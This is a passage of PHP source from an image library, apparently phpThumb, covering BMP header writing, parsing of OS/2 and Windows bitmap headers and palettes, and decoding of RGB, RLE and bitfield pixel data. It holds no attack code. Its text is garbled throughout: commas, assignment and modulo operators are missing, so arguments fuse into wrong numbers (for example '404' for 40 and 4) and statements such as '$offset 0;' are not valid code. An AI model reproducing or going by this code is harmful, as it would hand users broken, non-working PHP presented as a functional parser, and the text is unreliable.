$BITMAPFILEHEADER .= phpthumb_functions::LittleEndian2String(       02); // WORD    bfReserved2;
        
$BITMAPFILEHEADER .= phpthumb_functions::LittleEndian2String(      544); // DWORD   bfOffBits;

        // BITMAPINFOHEADER - [40 bytes] http://msdn.microsoft.com/library/en-us/gdi/bitmaps_1rw2.asp
        
$BITMAPINFOHEADER  phpthumb_functions::LittleEndian2String(      404); // DWORD  biSize;
        
$BITMAPINFOHEADER .= phpthumb_functions::LittleEndian2String$imageX4); // LONG   biWidth;
        
$BITMAPINFOHEADER .= phpthumb_functions::LittleEndian2String$imageY4); // LONG   biHeight;
        
$BITMAPINFOHEADER .= phpthumb_functions::LittleEndian2String(       12); // WORD   biPlanes;
        
$BITMAPINFOHEADER .= phpthumb_functions::LittleEndian2String(      242); // WORD   biBitCount;
        
$BITMAPINFOHEADER .= phpthumb_functions::LittleEndian2String(       04); // DWORD  biCompression;
        
$BITMAPINFOHEADER .= phpthumb_functions::LittleEndian2String(       04); // DWORD  biSizeImage;
        
$BITMAPINFOHEADER .= phpthumb_functions::LittleEndian2String(    28354); // LONG   biXPelsPerMeter;
        
$BITMAPINFOHEADER .= phpthumb_functions::LittleEndian2String(    28354); // LONG   biYPelsPerMeter;
        
$BITMAPINFOHEADER .= phpthumb_functions::LittleEndian2String(       04); // DWORD  biClrUsed;
        
$BITMAPINFOHEADER .= phpthumb_functions::LittleEndian2String(       04); // DWORD  biClrImportant;

        
return $BITMAPFILEHEADER.$BITMAPINFOHEADER.$BMP;
    }

    function 
getid3_bmp(&$BMPdata, &$ThisFileInfo$ExtractPalette=false$ExtractData=false) {

        
// shortcuts
        
$ThisFileInfo['bmp']['header']['raw'] = array();
        
$thisfile_bmp                         = &$ThisFileInfo['bmp'];
        
$thisfile_bmp_header                  = &$thisfile_bmp['header'];
        
$thisfile_bmp_header_raw              = &$thisfile_bmp_header['raw'];

        
// BITMAPFILEHEADER [14 bytes] - http://msdn.microsoft.com/library/en-us/gdi/bitmaps_62uq.asp
        // all versions
        // WORD    bfType;
        // DWORD   bfSize;
        // WORD    bfReserved1;
        // WORD    bfReserved2;
        // DWORD   bfOffBits;

        
$offset 0;
        
$overalloffset 0;
        
$BMPheader substr($BMPdata$overalloffset14 40);
        
$overalloffset += (14 40);

        
$thisfile_bmp_header_raw['identifier']  = substr($BMPheader$offset2);
        
$offset += 2;

        if (
$thisfile_bmp_header_raw['identifier'] != 'BM') {
            
$ThisFileInfo['error'][] = 'Expecting "BM" at offset '.intval(@$ThisFileInfo['avdataoffset']).', found "'.$thisfile_bmp_header_raw['identifier'].'"';
            unset(
$ThisFileInfo['fileformat']);
            unset(
$ThisFileInfo['bmp']);
            return 
false;
        }

        
$thisfile_bmp_header_raw['filesize']    = $this->LittleEndian2Int(substr($BMPheader$offset4));
        
$offset += 4;
        
$thisfile_bmp_header_raw['reserved1']   = $this->LittleEndian2Int(substr($BMPheader$offset2));
        
$offset += 2;
        
$thisfile_bmp_header_raw['reserved2']   = $this->LittleEndian2Int(substr($BMPheader$offset2));
        
$offset += 2;
        
$thisfile_bmp_header_raw['data_offset'] = $this->LittleEndian2Int(substr($BMPheader$offset4));
        
$offset += 4;
        
$thisfile_bmp_header_raw['header_size'] = $this->LittleEndian2Int(substr($BMPheader$offset4));
        
$offset += 4;


        
// check if the hardcoded-to-1 "planes" is at offset 22 or 26
        
$planes22 $this->LittleEndian2Int(substr($BMPheader222));
        
$planes26 $this->LittleEndian2Int(substr($BMPheader262));
        if ((
$planes22 == 1) && ($planes26 != 1)) {
            
$thisfile_bmp['type_os']      = 'OS/2';
            
$thisfile_bmp['type_version'] = 1;
        } elseif ((
$planes26 == 1) && ($planes22 != 1)) {
            
$thisfile_bmp['type_os']      = 'Windows';
            
$thisfile_bmp['type_version'] = 1;
        } elseif (
$thisfile_bmp_header_raw['header_size'] == 12) {
            
$thisfile_bmp['type_os']      = 'OS/2';
            
$thisfile_bmp['type_version'] = 1;
        } elseif (
$thisfile_bmp_header_raw['header_size'] == 40) {
            
$thisfile_bmp['type_os']      = 'Windows';
            
$thisfile_bmp['type_version'] = 1;
        } elseif (
$thisfile_bmp_header_raw['header_size'] == 84) {
            
$thisfile_bmp['type_os']      = 'Windows';
            
$thisfile_bmp['type_version'] = 4;
        } elseif (
$thisfile_bmp_header_raw['header_size'] == 100) {
            
$thisfile_bmp['type_os']      = 'Windows';
            
$thisfile_bmp['type_version'] = 5;
        } else {
            
$ThisFileInfo['error'][] = 'Unknown BMP subtype (or not a BMP file)';
            unset(
$ThisFileInfo['fileformat']);
            unset(
$ThisFileInfo['bmp']);
            return 
false;
        }

        
$ThisFileInfo['fileformat']                  = 'bmp';
        
$ThisFileInfo['video']['dataformat']         = 'bmp';
        
$ThisFileInfo['video']['lossless']           = true;
        
$ThisFileInfo['video']['pixel_aspect_ratio'] = (float) 1;

        if (
$thisfile_bmp['type_os'] == 'OS/2') {

            
// OS/2-format BMP
            // http://netghost.narod.ru/gff/graphics/summary/os2bmp.htm

            // DWORD  Size;             /* Size of this structure in bytes */
            // DWORD  Width;            /* Bitmap width in pixels */
            // DWORD  Height;           /* Bitmap height in pixel */
            // WORD   NumPlanes;        /* Number of bit planes (color depth) */
            // WORD   BitsPerPixel;     /* Number of bits per pixel per plane */

            
$thisfile_bmp_header_raw['width']          = $this->LittleEndian2Int(substr($BMPheader$offset2));
            
$offset += 2;
            
$thisfile_bmp_header_raw['height']         = $this->LittleEndian2Int(substr($BMPheader$offset2));
            
$offset += 2;
            
$thisfile_bmp_header_raw['planes']         = $this->LittleEndian2Int(substr($BMPheader$offset2));
            
$offset += 2;
            
$thisfile_bmp_header_raw['bits_per_pixel'] = $this->LittleEndian2Int(substr($BMPheader$offset2));
            
$offset += 2;

            
$ThisFileInfo['video']['resolution_x']    = $thisfile_bmp_header_raw['width'];
            
$ThisFileInfo['video']['resolution_y']    = $thisfile_bmp_header_raw['height'];
            
$ThisFileInfo['video']['codec']           = 'BI_RGB '.$thisfile_bmp_header_raw['bits_per_pixel'].'-bit';
            
$ThisFileInfo['video']['bits_per_sample'] = $thisfile_bmp_header_raw['bits_per_pixel'];

            if (
$thisfile_bmp['type_version'] >= 2) {
                
// DWORD  Compression;      /* Bitmap compression scheme */
                // DWORD  ImageDataSize;    /* Size of bitmap data in bytes */
                // DWORD  XResolution;      /* X resolution of display device */
                // DWORD  YResolution;      /* Y resolution of display device */
                // DWORD  ColorsUsed;       /* Number of color table indices used */
                // DWORD  ColorsImportant;  /* Number of important color indices */
                // WORD   Units;            /* Type of units used to measure resolution */
                // WORD   Reserved;         /* Pad structure to 4-byte boundary */
                // WORD   Recording;        /* Recording algorithm */
                // WORD   Rendering;        /* Halftoning algorithm used */
                // DWORD  Size1;            /* Reserved for halftoning algorithm use */
                // DWORD  Size2;            /* Reserved for halftoning algorithm use */
                // DWORD  ColorEncoding;    /* Color model used in bitmap */
                // DWORD  Identifier;       /* Reserved for application use */

                
$thisfile_bmp_header_raw['compression']      = $this->LittleEndian2Int(substr($BMPheader$offset4));
                
$offset += 4;
                
$thisfile_bmp_header_raw['bmp_data_size']    = $this->LittleEndian2Int(substr($BMPheader$offset4));
                
$offset += 4;
                
$thisfile_bmp_header_raw['resolution_h']     = $this->LittleEndian2Int(substr($BMPheader$offset4));
                
$offset += 4;
                
$thisfile_bmp_header_raw['resolution_v']     = $this->LittleEndian2Int(substr($BMPheader$offset4));
                
$offset += 4;
                
$thisfile_bmp_header_raw['colors_used']      = $this->LittleEndian2Int(substr($BMPheader$offset4));
                
$offset += 4;
                
$thisfile_bmp_header_raw['colors_important'] = $this->LittleEndian2Int(substr($BMPheader$offset4));
                
$offset += 4;
                
$thisfile_bmp_header_raw['resolution_units'] = $this->LittleEndian2Int(substr($BMPheader$offset2));
                
$offset += 2;
                
$thisfile_bmp_header_raw['reserved1']        = $this->LittleEndian2Int(substr($BMPheader$offset2));
                
$offset += 2;
                
$thisfile_bmp_header_raw['recording']        = $this->LittleEndian2Int(substr($BMPheader$offset2));
                
$offset += 2;
                
$thisfile_bmp_header_raw['rendering']        = $this->LittleEndian2Int(substr($BMPheader$offset2));
                
$offset += 2;
                
$thisfile_bmp_header_raw['size1']            = $this->LittleEndian2Int(substr($BMPheader$offset4));
                
$offset += 4;
                
$thisfile_bmp_header_raw['size2']            = $this->LittleEndian2Int(substr($BMPheader$offset4));
                
$offset += 4;
                
$thisfile_bmp_header_raw['color_encoding']   = $this->LittleEndian2Int(substr($BMPheader$offset4));
                
$offset += 4;
                
$thisfile_bmp_header_raw['identifier']       = $this->LittleEndian2Int(substr($BMPheader$offset4));
                
$offset += 4;

                
$thisfile_bmp_header['compression']          = $this->BMPcompressionOS2Lookup($thisfile_bmp_header_raw['compression']);

                
$ThisFileInfo['video']['codec'] = $thisfile_bmp_header['compression'].' '.$thisfile_bmp_header_raw['bits_per_pixel'].'-bit';
            }

        } elseif (
$thisfile_bmp['type_os'] == 'Windows') {

            
// Windows-format BMP

            // BITMAPINFOHEADER - [40 bytes] http://msdn.microsoft.com/library/en-us/gdi/bitmaps_1rw2.asp
            // all versions
            // DWORD  biSize;
            // LONG   biWidth;
            // LONG   biHeight;
            // WORD   biPlanes;
            // WORD   biBitCount;
            // DWORD  biCompression;
            // DWORD  biSizeImage;
            // LONG   biXPelsPerMeter;
            // LONG   biYPelsPerMeter;
            // DWORD  biClrUsed;
            // DWORD  biClrImportant;

            
$thisfile_bmp_header_raw['width']            = $this->LittleEndian2Int(substr($BMPheader$offset4), true);
            
$offset += 4;
            
$thisfile_bmp_header_raw['height']           = $this->LittleEndian2Int(substr($BMPheader$offset4), true);
            
$offset += 4;
            
$thisfile_bmp_header_raw['planes']           = $this->LittleEndian2Int(substr($BMPheader$offset2));
            
$offset += 2;
            
$thisfile_bmp_header_raw['bits_per_pixel']   = $this->LittleEndian2Int(substr($BMPheader$offset2));
            
$offset += 2;
            
$thisfile_bmp_header_raw['compression']      = $this->LittleEndian2Int(substr($BMPheader$offset4));
            
$offset += 4;
            
$thisfile_bmp_header_raw['bmp_data_size']    = $this->LittleEndian2Int(substr($BMPheader$offset4));
            
$offset += 4;
            
$thisfile_bmp_header_raw['resolution_h']     = $this->LittleEndian2Int(substr($BMPheader$offset4), true);
            
$offset += 4;
            
$thisfile_bmp_header_raw['resolution_v']     = $this->LittleEndian2Int(substr($BMPheader$offset4), true);
            
$offset += 4;
            
$thisfile_bmp_header_raw['colors_used']      = $this->LittleEndian2Int(substr($BMPheader$offset4));
            
$offset += 4;
            
$thisfile_bmp_header_raw['colors_important'] = $this->LittleEndian2Int(substr($BMPheader$offset4));
            
$offset += 4;

            
$thisfile_bmp_header['compression'] = $this->BMPcompressionWindowsLookup($thisfile_bmp_header_raw['compression']);
            
$ThisFileInfo['video']['resolution_x']    = $thisfile_bmp_header_raw['width'];
            
$ThisFileInfo['video']['resolution_y']    = $thisfile_bmp_header_raw['height'];
            
$ThisFileInfo['video']['codec']           = $thisfile_bmp_header['compression'].' '.$thisfile_bmp_header_raw['bits_per_pixel'].'-bit';
            
$ThisFileInfo['video']['bits_per_sample'] = $thisfile_bmp_header_raw['bits_per_pixel'];

            if ((
$thisfile_bmp['type_version'] >= 4) || ($thisfile_bmp_header_raw['compression'] == 3)) {
                
// should only be v4+, but BMPs with type_version==1 and BI_BITFIELDS compression have been seen
                
$BMPheader .= substr($BMPdata$overalloffset44);
                
$overalloffset += 44;

                
// BITMAPV4HEADER - [44 bytes] - http://msdn.microsoft.com/library/en-us/gdi/bitmaps_2k1e.asp
                // Win95+, WinNT4.0+
                // DWORD        bV4RedMask;
                // DWORD        bV4GreenMask;
                // DWORD        bV4BlueMask;
                // DWORD        bV4AlphaMask;
                // DWORD        bV4CSType;
                // CIEXYZTRIPLE bV4Endpoints;
                // DWORD        bV4GammaRed;
                // DWORD        bV4GammaGreen;
                // DWORD        bV4GammaBlue;
                
$thisfile_bmp_header_raw['red_mask']     = $this->LittleEndian2Int(substr($BMPheader$offset4));
                
$offset += 4;
                
$thisfile_bmp_header_raw['green_mask']   = $this->LittleEndian2Int(substr($BMPheader$offset4));
                
$offset += 4;
                
$thisfile_bmp_header_raw['blue_mask']    = $this->LittleEndian2Int(substr($BMPheader$offset4));
                
$offset += 4;
                
$thisfile_bmp_header_raw['alpha_mask']   = $this->LittleEndian2Int(substr($BMPheader$offset4));
                
$offset += 4;
                
$thisfile_bmp_header_raw['cs_type']      = $this->LittleEndian2Int(substr($BMPheader$offset4));
                
$offset += 4;
                
$thisfile_bmp_header_raw['ciexyz_red']   =                         substr($BMPheader$offset4);
                
$offset += 4;
                
$thisfile_bmp_header_raw['ciexyz_green'] =                         substr($BMPheader$offset4);
                
$offset += 4;
                
$thisfile_bmp_header_raw['ciexyz_blue']  =                         substr($BMPheader$offset4);
                
$offset += 4;
                
$thisfile_bmp_header_raw['gamma_red']    = $this->LittleEndian2Int(substr($BMPheader$offset4));
                
$offset += 4;
                
$thisfile_bmp_header_raw['gamma_green']  = $this->LittleEndian2Int(substr($BMPheader$offset4));
                
$offset += 4;
                
$thisfile_bmp_header_raw['gamma_blue']   = $this->LittleEndian2Int(substr($BMPheader$offset4));
                
$offset += 4;

                
$thisfile_bmp_header['ciexyz_red']   = $this->FixedPoint2_30(strrev($thisfile_bmp_header_raw['ciexyz_red']));
                
$thisfile_bmp_header['ciexyz_green'] = $this->FixedPoint2_30(strrev($thisfile_bmp_header_raw['ciexyz_green']));
                
$thisfile_bmp_header['ciexyz_blue']  = $this->FixedPoint2_30(strrev($thisfile_bmp_header_raw['ciexyz_blue']));
            }

            if (
$thisfile_bmp['type_version'] >= 5) {
                
$BMPheader .= substr($BMPdata$overalloffset16);
                
$overalloffset += 16;

                
// BITMAPV5HEADER - [16 bytes] - http://msdn.microsoft.com/library/en-us/gdi/bitmaps_7c36.asp
                // Win98+, Win2000+
                // DWORD        bV5Intent;
                // DWORD        bV5ProfileData;
                // DWORD        bV5ProfileSize;
                // DWORD        bV5Reserved;
                
$thisfile_bmp_header_raw['intent']              = $this->LittleEndian2Int(substr($BMPheader$offset4));
                
$offset += 4;
                
$thisfile_bmp_header_raw['profile_data_offset'] = $this->LittleEndian2Int(substr($BMPheader$offset4));
                
$offset += 4;
                
$thisfile_bmp_header_raw['profile_data_size']   = $this->LittleEndian2Int(substr($BMPheader$offset4));
                
$offset += 4;
                
$thisfile_bmp_header_raw['reserved3']           = $this->LittleEndian2Int(substr($BMPheader$offset4));
                
$offset += 4;
            }

        } else {

            
$ThisFileInfo['error'][] = 'Unknown BMP format in header.';
            return 
false;

        }

        if (
$ExtractPalette || $ExtractData) {
            
$PaletteEntries 0;
            if (
$thisfile_bmp_header_raw['bits_per_pixel'] < 16) {
                
$PaletteEntries pow(2$thisfile_bmp_header_raw['bits_per_pixel']);
            } elseif (isset(
$thisfile_bmp_header_raw['colors_used']) && ($thisfile_bmp_header_raw['colors_used'] > 0) && ($thisfile_bmp_header_raw['colors_used'] <= 256)) {
                
$PaletteEntries $thisfile_bmp_header_raw['colors_used'];
            }
            if (
$PaletteEntries 0) {
                
$BMPpalette substr($BMPdata$overalloffset$PaletteEntries);
                
$overalloffset += $PaletteEntries;

                
$paletteoffset 0;
                for (
$i 0$i $PaletteEntries$i++) {
                    
// RGBQUAD          - http://msdn.microsoft.com/library/en-us/gdi/bitmaps_5f8y.asp
                    // BYTE    rgbBlue;
                    // BYTE    rgbGreen;
                    // BYTE    rgbRed;
                    // BYTE    rgbReserved;
                    
$blue  $this->LittleEndian2Int(substr($BMPpalette$paletteoffset++, 1));
                    
$green $this->LittleEndian2Int(substr($BMPpalette$paletteoffset++, 1));
                    
$red   $this->LittleEndian2Int(substr($BMPpalette$paletteoffset++, 1));
                    if ((
$thisfile_bmp['type_os'] == 'OS/2') && ($thisfile_bmp['type_version'] == 1)) {
                        
// no padding byte
                    
} else {
                        
$paletteoffset++; // padding byte
                    
}
                    
$thisfile_bmp['palette'][$i] = (($red << 16) | ($green << 8) | ($blue));
                }
            }
        }

        if (
$ExtractData) {
            
$RowByteLength ceil(($thisfile_bmp_header_raw['width'] * ($thisfile_bmp_header_raw['bits_per_pixel'] / 8)) / 4) * 4// round up to nearest DWORD boundry

            
$BMPpixelData substr($BMPdata$thisfile_bmp_header_raw['data_offset'], $thisfile_bmp_header_raw['height'] * $RowByteLength);
            
$overalloffset $thisfile_bmp_header_raw['data_offset'] + ($thisfile_bmp_header_raw['height'] * $RowByteLength);

            
$pixeldataoffset 0;
            switch (@
$thisfile_bmp_header_raw['compression']) {

                case 
0// BI_RGB
                    
switch ($thisfile_bmp_header_raw['bits_per_pixel']) {
                        case 
1:
                            for (
$row = ($thisfile_bmp_header_raw['height'] - 1); $row >= 0$row--) {
                                for (
$col 0$col $thisfile_bmp_header_raw['width']; $col $col) {
                                    
$paletteindexbyte ord($BMPpixelData{$pixeldataoffset++});
                                    for (
$i 7$i >= 0$i--) {
                                        
$paletteindex = ($paletteindexbyte & (0x01 << $i)) >> $i;
                                        
$thisfile_bmp['data'][$row][$col] = $thisfile_bmp['palette'][$paletteindex];
                                        
$col++;
                                    }
                                }
                                while ((
$pixeldataoffset 4) != 0) {
                                    
// lines are padded to nearest DWORD
                                    
$pixeldataoffset++;
                                }
                            }
                            break;

                        case 
4:
                            for (
$row = ($thisfile_bmp_header_raw['height'] - 1); $row >= 0$row--) {
                                for (
$col 0$col $thisfile_bmp_header_raw['width']; $col $col) {
                                    
$paletteindexbyte ord($BMPpixelData{$pixeldataoffset++});
                                    for (
$i 1$i >= 0$i--) {
                                        
$paletteindex = ($paletteindexbyte & (0x0F << ($i))) >> ($i);
                                        
$thisfile_bmp['data'][$row][$col] = $thisfile_bmp['palette'][$paletteindex];
                                        
$col++;
                                    }
                                }
                                while ((
$pixeldataoffset 4) != 0) {
                                    
// lines are padded to nearest DWORD
                                    
$pixeldataoffset++;
                                }
                            }
                            break;

                        case 
8:
                            for (
$row = ($thisfile_bmp_header_raw['height'] - 1); $row >= 0$row--) {
                                for (
$col 0$col $thisfile_bmp_header_raw['width']; $col++) {
                                    
$paletteindex ord($BMPpixelData{$pixeldataoffset++});
                                    
$thisfile_bmp['data'][$row][$col] = $thisfile_bmp['palette'][$paletteindex];
                                }
                                while ((
$pixeldataoffset 4) != 0) {
                                    
// lines are padded to nearest DWORD
                                    
$pixeldataoffset++;
                                }
                            }
                            break;

                        case 
24:
                            for (
$row = ($thisfile_bmp_header_raw['height'] - 1); $row >= 0$row--) {
                                for (
$col 0$col $thisfile_bmp_header_raw['width']; $col++) {
                                    
$thisfile_bmp['data'][$row][$col] = (ord($BMPpixelData{$pixeldataoffset+2}) << 16) | (ord($BMPpixelData{$pixeldataoffset+1}) << 8) | ord($BMPpixelData{$pixeldataoffset});
                                    
$pixeldataoffset += 3;
                                }
                                while ((
$pixeldataoffset 4) != 0) {
                                    
// lines are padded to nearest DWORD
                                    
$pixeldataoffset++;
                                }
                            }
                            break;

                        case 
32:
                            for (
$row = ($thisfile_bmp_header_raw['height'] - 1); $row >= 0$row--) {
                                for (
$col 0$col $thisfile_bmp_header_raw['width']; $col++) {
                                    
$thisfile_bmp['data'][$row][$col] = (ord($BMPpixelData{$pixeldataoffset+3}) << 24) | (ord($BMPpixelData{$pixeldataoffset+2}) << 16) | (ord($BMPpixelData{$pixeldataoffset+1}) << 8) | ord($BMPpixelData{$pixeldataoffset});
                                    
$pixeldataoffset += 4;
                                }
                                while ((
$pixeldataoffset 4) != 0) {
                                    
// lines are padded to nearest DWORD
                                    
$pixeldataoffset++;
                                }
                            }
                            break;

                        case 
16:
                            
// ?
                            
break;

                        default:
                            
$ThisFileInfo['error'][] = 'Unknown bits-per-pixel value ('.$thisfile_bmp_header_raw['bits_per_pixel'].') - cannot read pixel data';
                            break;
                    }
                    break;


                case 
1// BI_RLE8 - http://msdn.microsoft.com/library/en-us/gdi/bitmaps_6x0u.asp
                    
switch ($thisfile_bmp_header_raw['bits_per_pixel']) {
                        case 
8:
                            
$pixelcounter 0;
                            while (
$pixeldataoffset strlen($BMPpixelData)) {
                                
$firstbyte  $this->LittleEndian2Int(substr($BMPpixelData$pixeldataoffset++, 1));
                                
$secondbyte $this->LittleEndian2Int(substr($BMPpixelData$pixeldataoffset++, 1));
                                if (
$firstbyte == 0) {

                                    
// escaped/absolute mode - the first byte of the pair can be set to zero to
                                    // indicate an escape character that denotes the end of a line, the end of
                                    // a bitmap, or a delta, depending on the value of the second byte.
                                    
switch ($secondbyte) {
                                        case 
0:
                                            
// end of line
                                            // no need for special processing, just ignore
                                            
break;

                                        case 
1:
                                            
// end of bitmap
                                            
$pixeldataoffset strlen($BMPpixelData); // force to exit loop just in case
                                            
break;

                                        case 
2:
                                            
// delta - The 2 bytes following the escape contain unsigned values
                                            // indicating the horizontal and vertical offsets of the next pixel
                                            // from the current position.
                                            
$colincrement $this->LittleEndian2Int(substr($BMPpixelData$pixeldataoffset++, 1));
                                            
$rowincrement $this->LittleEndian2Int(substr($BMPpixelData$pixeldataoffset++, 1));
                                            
$col = ($pixelcounter $thisfile_bmp_header_raw['width']) + $colincrement;
                                            
$row = ($thisfile_bmp_header_raw['height'] - - (($pixelcounter $col) / $thisfile_bmp_header_raw['width'])) - $rowincrement;
                                            
$pixelcounter = ($row $thisfile_bmp_header_raw['width']) + $col;
                                            break;

                                        default:
                                            
// In absolute mode, the first byte is zero and the second byte is a
                                            // value in the range 03H through FFH. The second byte represents the
                                            // number of bytes that follow, each of which contains the color index
                                            // of a single pixel. Each run must be aligned on a word boundary.
                                            
for ($i 0$i $secondbyte$i++) {
                                                
$paletteindex $this->LittleEndian2Int(substr($BMPpixelData$pixeldataoffset++, 1));
                                                
$col $pixelcounter $thisfile_bmp_header_raw['width'];
                                                
$row $thisfile_bmp_header_raw['height'] - - (($pixelcounter $col) / $thisfile_bmp_header_raw['width']);
                                                
$thisfile_bmp['data'][$row][$col] = $thisfile_bmp['palette'][$paletteindex];
                                                
$pixelcounter++;
                                            }
                                            while ((
$pixeldataoffset 2) != 0) {
                                                
// Each run must be aligned on a word boundary.
                                                
$pixeldataoffset++;
                                            }
                                            break;
                                    }

                                } else {

                                    
// encoded mode - the first byte specifies the number of consecutive pixels
                                    // to be drawn using the color index contained in the second byte.
                                    
for ($i 0$i $firstbyte$i++) {
                                        
$col $pixelcounter $thisfile_bmp_header_raw['width'];
                                        
$row $thisfile_bmp_header_raw['height'] - - (($pixelcounter $col) / $thisfile_bmp_header_raw['width']);
                                        
$thisfile_bmp['data'][$row][$col] = $thisfile_bmp['palette'][$secondbyte];
                                        
$pixelcounter++;
                                    }

                                }
                            }
                            break;

                        default:
                            
$ThisFileInfo['error'][] = 'Unknown bits-per-pixel value ('.$thisfile_bmp_header_raw['bits_per_pixel'].') - cannot read pixel data';
                            break;
                    }
                    break;



                case 
2// BI_RLE4 - http://msdn.microsoft.com/library/en-us/gdi/bitmaps_6x0u.asp
                    
switch ($thisfile_bmp_header_raw['bits_per_pixel']) {
                        case 
4:
                            
$pixelcounter 0;
                            while (
$pixeldataoffset strlen($BMPpixelData)) {
                                
$firstbyte  $this->LittleEndian2Int(substr($BMPpixelData$pixeldataoffset++, 1));
                                
$secondbyte $this->LittleEndian2Int(substr($BMPpixelData$pixeldataoffset++, 1));
                                if (
$firstbyte == 0) {

                                    
// escaped/absolute mode - the first byte of the pair can be set to zero to
                                    // indicate an escape character that denotes the end of a line, the end of
                                    // a bitmap, or a delta, depending on the value of the second byte.
                                    
switch ($secondbyte) {
                                        case 
0:
                                            
// end of line
                                            // no need for special processing, just ignore
                                            
break;

                                        case 
1:
                                            
// end of bitmap
                                            
$pixeldataoffset strlen($BMPpixelData); // force to exit loop just in case
                                            
break;

                                        case 
2:
                                            
// delta - The 2 bytes following the escape contain unsigned values
                                            // indicating the horizontal and vertical offsets of the next pixel
                                            // from the current position.
                                            
$colincrement $this->LittleEndian2Int(substr($BMPpixelData$pixeldataoffset++, 1));
                                            
$rowincrement $this->LittleEndian2Int(substr($BMPpixelData$pixeldataoffset++, 1));
                                            
$col = ($pixelcounter $thisfile_bmp_header_raw['width']) + $colincrement;
                                            
$row = ($thisfile_bmp_header_raw['height'] - - (($pixelcounter $col) / $thisfile_bmp_header_raw['width'])) - $rowincrement;
                                            
$pixelcounter = ($row $thisfile_bmp_header_raw['width']) + $col;
                                            break;

                                        default:
                                            
// In absolute mode, the first byte is zero. The second byte contains the number
                                            // of color indexes that follow. Subsequent bytes contain color indexes in their
                                            // high- and low-order 4 bits, one color index for each pixel. In absolute mode,
                                            // each run must be aligned on a word boundary.
                                            
unset($paletteindexes);
                                            for (
$i 0$i ceil($secondbyte 2); $i++) {
                                                
$paletteindexbyte $this->LittleEndian2Int(substr($BMPpixelData$pixeldataoffset++, 1));
                                                
$paletteindexes[] = ($paletteindexbyte 0xF0) >> 4;
                                                
$paletteindexes[] = ($paletteindexbyte 0x0F);
                                            }
                                            while ((
$pixeldataoffset 2) != 0) {
                                                
// Each run must be aligned on a word boundary.
                                                
$pixeldataoffset++;
                                            }

                                            foreach (
$paletteindexes as $dummy => $paletteindex) {
                                                
$col $pixelcounter $thisfile_bmp_header_raw['width'];
                                                
$row $thisfile_bmp_header_raw['height'] - - (($pixelcounter $col) / $thisfile_bmp_header_raw['width']);
                                                
$thisfile_bmp['data'][$row][$col] = $thisfile_bmp['palette'][$paletteindex];
                                                
$pixelcounter++;
                                            }
                                            break;
                                    }

                                } else {

                                    
// encoded mode - the first byte of the pair contains the number of pixels to be
                                    // drawn using the color indexes in the second byte. The second byte contains two
                                    // color indexes, one in its high-order 4 bits and one in its low-order 4 bits.
                                    // The first of the pixels is drawn using the color specified by the high-order
                                    // 4 bits, the second is drawn using the color in the low-order 4 bits, the third
                                    // is drawn using the color in the high-order 4 bits, and so on, until all the
                                    // pixels specified by the first byte have been drawn.
                                    
$paletteindexes[0] = ($secondbyte 0xF0) >> 4;
                                    
$paletteindexes[1] = ($secondbyte 0x0F);
                                    for (
$i 0$i $firstbyte$i++) {
                                        
$col $pixelcounter $thisfile_bmp_header_raw['width'];
                                        
$row $thisfile_bmp_header_raw['height'] - - (($pixelcounter $col) / $thisfile_bmp_header_raw['width']);
                                        
$thisfile_bmp['data'][$row][$col] = $thisfile_bmp['palette'][$paletteindexes[($i 2)]];
                                        
$pixelcounter++;
                                    }

                                }
                            }
                            break;

                        default:
                            
$ThisFileInfo['error'][] = 'Unknown bits-per-pixel value ('.$thisfile_bmp_header_raw['bits_per_pixel'].') - cannot read pixel data';
                            break;
                    }
                    break;


                case 
3// BI_BITFIELDS
                    
switch ($thisfile_bmp_header_raw['bits_per_pixel']) {
                        case 
16:
                        case 
32:
                            
$redshift   0;
                            
$greenshift 0;
                            
$blueshift  0;
                            if (!
$thisfile_bmp_header_raw['red_mask'] || !$thisfile_bmp_header_raw['green_mask'] || !$thisfile_bmp_header_raw['blue_mask']) {
                                
$ThisFileInfo['error'][] = 'missing $thisfile_bmp_header_raw[(red|green|blue)_mask]';
                                return 
false;
                            }
                            while (((
$thisfile_bmp_header_raw['red_mask'] >> $redshift) & 0x01) == 0) {
                                
$redshift++;
                            }
                            while (((
$thisfile_bmp_header_raw['green_mask'] >> $greenshift) & 0x01) == 0) {
                                
$greenshift++;
                            }
                            while (((
$thisfile_bmp_header_raw['blue_mask'] >> $blueshift) & 0x01) == 0) {
                                
$blueshift++;
                            }
                            for (
$row = ($thisfile_bmp_header_raw['height'] - 1); $row >= 0$row--) {
                                for (
$col 0$col $thisfile_bmp_header_raw['width']; $col++) {
                                    
$pixelvalue $this->LittleEndian2Int(substr($BMPpixelData$pixeldataoffset$thisfile_bmp_header_raw['bits_per_pixel'] / 8));
                                    
$pixeldataoffset += $thisfile_bmp_header_raw['bits_per_pixel'] / 8;

                                    
$red   intval(round(((($pixelvalue $thisfile_bmp_header_raw['red_mask'])   >> $redshift)   / ($thisfile_bmp_header_raw['red_mask']   >> $redshift))   * 255));
                                    
$green intval(round(((($pixelvalue $thisfile_bmp_header_raw['green_mask']) >> $greenshift) / ($thisfile_bmp_header_raw['green_mask'] >> $greenshift)) * 255));
                                    
$blue  intval(round(((($pixelvalue $thisfile_bmp_header_raw['blue_mask'])  >> $blueshift)  / ($thisfile_bmp_header_raw['blue_mask']  >> $blueshift))  * 255));
                                    
$thisfile_bmp['data'][$row][$col] = (($red << 16) | ($green << 8) | ($blue));
                                }
                                while ((
$pixeldataoffset 4) != 0) {
                                    
// lines are padded to nearest DWORD
                                    
$pixeldataoffset++;
                                }
                            }
                            break;

                        default:
                            
$ThisFileInfo['error'][] = 'Unknown bits-per-pixel value ('.$thisfile_bmp_header_raw['bits_per_pixel'].') - cannot read pixel data';
                            break;
                    }
                    break;


                default: 
// unhandled compression type
                    
$ThisFileInfo['error'][] = 'Unknown/unhandled compression type value ('.$thisfile_bmp_header_raw['compression'].') - cannot decompress pixel data';
                    break;
            }
        }

        return 
true;
    }

    function 
IntColor2RGB($color) {
        
$red   = ($color 0x00FF0000) >> 16;
        
$green = ($color 0x0000FF00) >> 8;
        
$blue  = ($color 0x000000FF);
        return array(
$red$green$blue);
    }

    function 
PlotPixelsGD(&$BMPdata$truecolor=true) {
        
$imagewidth  $BMPdata['header']['raw']['width'];
        
$imageheight $BMPdata['header']['raw']['height'];

        if (
$truecolor) {

            
$gd = @ImageCreateTrueColor($imagewidth$imageheight);

        } else {

            
$gd = @ImageCreate($imagewidth$imageheight);
            if (!empty(
$BMPdata['palette'])) {
                
// create GD palette from BMP palette
                
foreach ($BMPdata['palette'] as $dummy => $color) {
                    list(
$r$g$b) = $this->IntColor2RGB($color);
                    
ImageColorAllocate($gd$r$g$b);
                }
            } else {
                
// create 216-color websafe palette
                
